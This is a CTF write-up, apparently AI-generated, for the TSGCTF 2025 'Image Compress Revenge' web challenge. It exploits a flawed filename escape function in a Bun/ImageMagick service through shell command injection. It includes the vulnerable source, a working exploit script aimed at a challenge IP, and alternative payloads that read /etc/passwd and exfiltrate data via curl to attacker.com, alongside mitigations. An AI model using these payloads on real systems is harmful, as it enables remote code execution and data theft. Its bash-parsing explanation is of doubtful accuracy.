# image-compress-revenge

Attachment:

```
import { Elysia, t } from "elysia";
import { unlink } from "fs/promises";
import { run } from "./lib/shell.ts";

const CHARS_TO_ESCAPE = "$'\"(){}[]:;/&`~|^!? \n".split("");

export function escape(source: string): string {
    let s = source;
    for (const char of CHARS_TO_ESCAPE) {
        s = s.replaceAll(char, "\\" + char);
    }
    return s;
}

const app = new Elysia()
    .get("/", () => {
        return Bun.file("./public/index.html");
    })
    .post(
        "/compress",
        async ({ body, set }) => {
            const { image, quality } = body;

            if (image.name.includes("..")) {
                throw new Error(`Invalid file name: ${image.name}`);
            }

            const inputPath = `./tmp/inputs/${escape(image.name)}`;
            const outputPath = `./tmp/outputs/${escape(image.name)}`;
            console.log(escape(image.name));

            try {
                await Bun.write(inputPath, image);

                await run(
                    `magick "${inputPath}" -quality ${quality} -strip "${outputPath}"`,
                );

                const compressed = await Bun.file(outputPath).arrayBuffer();

                set.headers["Content-Type"] = image.type;
                set.headers["Content-Disposition"] =
                    `attachment; filename="${image.name}"`;

                return new Response(compressed);
            } catch (error) {
                set.status = 500;
                return { error: `Failed to compress image: ${error}` };
            } finally {
                await unlink(inputPath).catch(() => {});
                await unlink(outputPath).catch(() => {});
            }
        },
        {
            body: t.Object({
                image: t.File({
                    "file-type": "image/*",
                    maxSize: "10m",
                }),
                quality: t.Numeric({
                    minimum: 1,
                    maximum: 100,
                    default: 85,
                }),
            }),
        },
    );

app.listen(process.env.PORT ?? "3000", (server) => {
    console.log(
        `🦊 server is running at http://${server.hostname}:${server.port}`,
    );
});

// in shell.ts
import { spawn } from "bun";

export async function run(command: string) {
  const proc = spawn(["bash", "-c", command], {
    stderr: "pipe",
  });
  await proc.exited;
  if (proc.exitCode !== 0) {
    const err = await new Response(proc.stderr).text();
    throw new Error(`Shell command failed: \n${err}`);
  }
  const stdout = await new Response(proc.stdout).text();
  return stdout;
}
```

Solved by AI:

# TSGCTF 2025 - Image Compress Revenge Writeup

**Challenge**: Image Compress Revenge (Web)  
**Points**: Not specified  
**Author**: TSG  
**Date**: December 2025  
**Flag**: `TSGCTF{d0llar_s1gn_1s_mag1c_1n_sh3ll_env1r0nm3nt_and_r3ad0nly_15_r3qu1r3d_f0r_c0mmand_1nj3c710n_chall3ng35}`

## Challenge Description

> I tried making an app with Vibe coding. It's easy and nice, isn't it?
>
> http://35.221.67.248:10502

We're given a web application that compresses images using ImageMagick. The source code is provided in `image-compress-revenge.tar.gz`.

## Initial Reconnaissance

### Application Overview

The application is a simple image compression service built with:

- **Bun** runtime
- **Elysia** web framework
- **ImageMagick** for image processing

Users can upload an image, specify a quality setting (1-100), and download the compressed version.

### File Structure

```
image-compress-revenge/
├── compose.yaml          # Docker Compose configuration
└── server/
    ├── Dockerfile        # Container setup
    ├── server.ts         # Main application
    ├── lib/shell.ts      # Shell command execution wrapper
    ├── package.json      # Dependencies
    └── public/index.html # Frontend
```

### Key Code Analysis

#### `server.ts` - Main Application Logic

```
const app = new Elysia()
  .post("/compress", async ({ body, set }) => {
    const { image, quality } = body;

    if (image.name.includes("..")) {
      throw new Error(`Invalid file name: ${image.name}`);
    }

    const inputPath = `./tmp/inputs/${escape(image.name)}`;
    const outputPath = `./tmp/outputs/${escape(image.name)}`;

    try {
      await Bun.write(inputPath, image);
      await run(`magick "${inputPath}" -quality ${quality} -strip "${outputPath}"`);
      // ... return compressed image
    } catch (error) {
      set.status = 500;
      return { error: `Failed to compress image: ${error}` };
    } finally {
      await unlink(inputPath).catch(() => {});
      await unlink(outputPath).catch(() => {});
    }
  }, {
    body: t.Object({
      image: t.File({ "file-type": "image/*", maxSize: "10m" }),
      quality: t.Numeric({ minimum: 1, maximum: 100, default: 85 }),
    }),
  });
```

#### `lib/shell.ts` - Command Execution

```
export async function run(command: string) {
  const proc = spawn(["bash", "-c", command], {
    stderr: "pipe",
  });
  await proc.exited;
  if (proc.exitCode !== 0) {
    const err = await new Response(proc.stderr).text();
    throw new Error(`Shell command failed: \n${err}`);
  }
  const stdout = await new Response(proc.stdout).text();
  return stdout;
}
```

#### `escape()` Function - The Vulnerability

```
const CHARS_TO_ESCAPE = "$'\"(){}[]:;/&`~|^!? \n".split("");

export function escape(source: string): string {
  let s = source;
  for (const char of CHARS_TO_ESCAPE) {
    s = s.replaceAll(char, "\\" + char);
  }
  return s;
}
```

## Vulnerability Analysis

### The Flawed Escape Function

The `escape()` function attempts to sanitize filenames by adding a backslash before special characters. However, it has several critical issues:

1. **Backslash is not in `CHARS_TO_ESCAPE`**: The backslash character (`\`) itself is not escaped, allowing it to be used in payloads.
2. **Context matters**: The escaped string is used inside double quotes in a bash command: `magick "${inputPath}" ...`
3. **Bash parsing nuances**: Inside double quotes, bash interprets as an escaped backtick (literal backtick), not as backslash-backtick.

### Command Injection Vector

When a filename contains backticks with an odd number of preceding backslashes, command substitution occurs:

1. Filename:

   ```
   \`command\`.jpg
   ```
2. After `escape()`:

   ```
   \\`command\\`.jpg
   ```
3. In bash command:

   ```
   magick "./tmp/inputs/\\`command\\`.jpg" ...
   ```
4. Bash parsing inside `"..."`:

   - `\\` → `\` (single backslash)
5. Result: `` `command` `` - command substitution executes!

## Exploit Development

### Proof of Concept

```
import requests

url = "http://35.221.67.248:10502/compress"
filename = '\\`echo $FLAG\\`.jpg'  # Note: double backslash in Python

# Minimal valid JPEG
jpeg_data = b'\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00\xff\xdb\x00C\x00'

files = {'image': (filename, jpeg_data, 'image/jpeg')}
data = {'quality': 85}

response = requests.post(url, files=files, data=data)
print(response.json()['error'])
```

### Exploit Output

```
Failed to compress image: Error: Shell command failed: 
bash: line 3: echo TSGCTF{d0llar_s1gn_1s_mag1c_1n_sh3ll_env1r0nm3nt_and_r3ad0nly_15_r3qu1r3d_f0r_c0mmand_1nj3c710n_chall3ng35}: command not found
bash: line 3: echo TSGCTF{d0llar_s1gn_1s_mag1c_1n_sh3ll_env1r0nm3nt_and_r3ad0nly_15_r3qu1r3d_f0r_c0mmand_1nj3c710n_chall3ng35}: command not found
magick: unable to open image './tmp/inputs/\.jpg': No such file or directory @ error/blob.c/OpenBlob/3596.
```

### Why the Flag Appears in Error

1. `` `echo $FLAG` `` executes, outputting the flag value
2. The output `TSGCTF{...}` becomes part of the "command" bash tries to execute
3. Bash error shows: `echo TSGCTF{...}: command not found`
4. The flag is revealed in the error message

## Full Exploit Chain

### Step-by-Step Execution

1. **User uploads** image with filename ``\`echo $FLAG\`.jpg``
2. **Server escapes** filename to ``\\`echo $FLAG\\`.jpg``
3. **Command constructed**: ``magick "./tmp/inputs/\\`echo $FLAG\\`.jpg" -quality 85 -strip "./tmp/outputs/\\`echo $FLAG\\`.jpg"``
4. **Bash parses** inside double quotes:

   - `\\` → `\`
   - Result: `` `echo $FLAG` ``
5. **Command substitution** executes `echo $FLAG`
6. **Output** `TSGCTF{...}` replaces the backtick expression
7. **Final command**: `magick "./tmp/inputs/\.jpg" ...` (`.` from command output)
8. **Error occurs** because file `\.jpg` doesn't exist
9. **Error message** contains the command output (flag)

### Alternative Payloads

The vulnerability allows arbitrary command execution:

- ``\`id\`.jpg`` - Execute `id` command
- ``\`cat /etc/passwd\`.jpg`` - Read system files
- ``\`bash -c "curl http://attacker.com/?flag=$(echo $FLAG)"\`.jpg`` - Exfiltrate data

## Root Cause Analysis

### Multiple Failure Points

1. **Custom escape function**: Rolling your own security functions is error-prone
2. **Shell command construction**: User input directly in shell commands
3. **Bash parsing complexity**: Misunderstanding of how bash interprets escaped characters in quotes
4. **Missing backslash escaping**: Critical character omitted from escape list

### The "Vibe Coding" Hint

The challenge description mentions "Vibe coding" - likely referring to the trend of writing code quickly without proper security considerations, emphasizing speed over safety.

## Mitigation Strategies

### 1\. Use Proper Shell Escaping

```
import { escape } from "shell-escape";
// Or use child_process.spawn with array arguments
```

### 2\. Avoid Shell Commands Entirely

```
// Use ImageMagick Node.js bindings instead
import im from "imagemagick";
await im.convert([inputPath, "-quality", quality, "-strip", outputPath]);
```

### 3\. Strict Input Validation

```
// Allow only safe characters
if (!/^[a-zA-Z0-9._-]+\.(jpg|jpeg|png|gif)$/.test(filename)) {
  throw new Error("Invalid filename");
}
```

### 4\. Use Temporary Random Filenames

```
const randomName = crypto.randomBytes(16).toString("hex") + ".jpg";
const inputPath = `./tmp/inputs/${randomName}`;
// Store mapping from original filename to random name
```

### 5\. Principle of Least Privilege

- Run ImageMagick in a sandboxed environment
- Use Docker with minimal capabilities
- Read-only filesystem where possible

## Flag Explanation

The flag `TSGCTF{d0llar_s1gn_1s_mag1c_1n_sh3ll_env1r0nm3nt_and_r3ad0nly_15_r3qu1r3d_f0r_c0mmand_1nj3c710n_chall3ng35}` hints at:

- `d0llar_s1gn_1s_mag1c_1n_sh3ll_env1r0nm3nt` - Environment variables with `$` expansion
- `r3ad0nly_15_r3qu1r3d` - The filesystem is read-only (as seen in compose.yaml)
- `f0r_c0mmand_1nj3c710n_chall3ng35` - Classic command injection challenge

## Lessons Learned

1. **Never trust user input** - Always validate and sanitize
2. **Avoid shell commands** - Use library APIs when possible
3. **Understand your tools** - Bash parsing has many edge cases
4. **Security through obscurity doesn't work** - Custom escape functions are risky
5. **Error messages can leak information** - Be careful what errors reveal

## Conclusion

This challenge demonstrates a classic command injection vulnerability arising from improper input sanitization and misunderstanding of shell parsing rules. The combination of a flawed escape function, direct shell command construction, and bash's nuanced parsing of escaped characters inside quotes created a powerful exploit allowing arbitrary command execution and flag extraction.

The solution highlights the importance of using established security libraries, avoiding shell commands with user input, and thoroughly understanding the tools and languages we work with.

Attack script:

```
#!/usr/bin/env python3
import requests

url = "http://35.221.67.248:10502/compress"

# Create a simple valid JPEG (minimal)
minimal_jpeg = (
    b'\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00'
    b'\xff\xdb\x00C\x00\x08\x06\x06\x07\x06\x05\x08\x07\x07\x07\t\t\x08\n\x0c\x14\r\x0c\x0b\x0b\x0c\x19\x12\x13\x0f'
    b'\xff\xc0\x00\x0b\x08\x00\x01\x00\x01\x01\x01\x11\x00\xff\xc4\x00\x1f\x00\x00\x01\x05\x01\x01\x01\x01\x01\x01'
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\xff\xc4\x00\xb5\x10\x00\x02\x01\x03'
    b'\xff\xda\x00\x08\x01\x01\x00\x00?\x00'
)

# Test command injection via backticks
# We need odd number of backslashes before backtick
# \`command\`.jpg -> \\`command\\`.jpg after escaping
test_commands = [
    # Try to get flag
    'echo $FLAG',
]

for cmd in test_commands:
    # Filename with backticks: \`command\`.jpg
    # This will become \\`command\\`.jpg after escaping
    filename = f'\\`{cmd}\\`.jpg'

    print(f"\n=== Testing command: {cmd} ===")
    print(f"Filename: {repr(filename)}")

    files = {
        'image': (filename, minimal_jpeg, 'image/jpeg'),
    }
    data = {
        'quality': 85
    }

    try:
        response = requests.post(url, files=files, data=data, timeout=10)
        print(f"Status: {response.status_code}")

        if response.status_code == 500:
            error_data = response.json()
            error_msg = error_data.get('error', 'Unknown error')
            print(f"Error (first 500 chars): {error_msg[:500]}")

            # Check if command output appears in error
            if 'bash:' in error_msg or 'command not found' in error_msg:
                print("✓ Shell command executed!")
        else:
            print(f"Response length: {len(response.content)}")
            print(f"Content-Type: {response.headers.get('Content-Type', 'Unknown')}")

    except Exception as e:
        print(f"Exception: {e}")
```
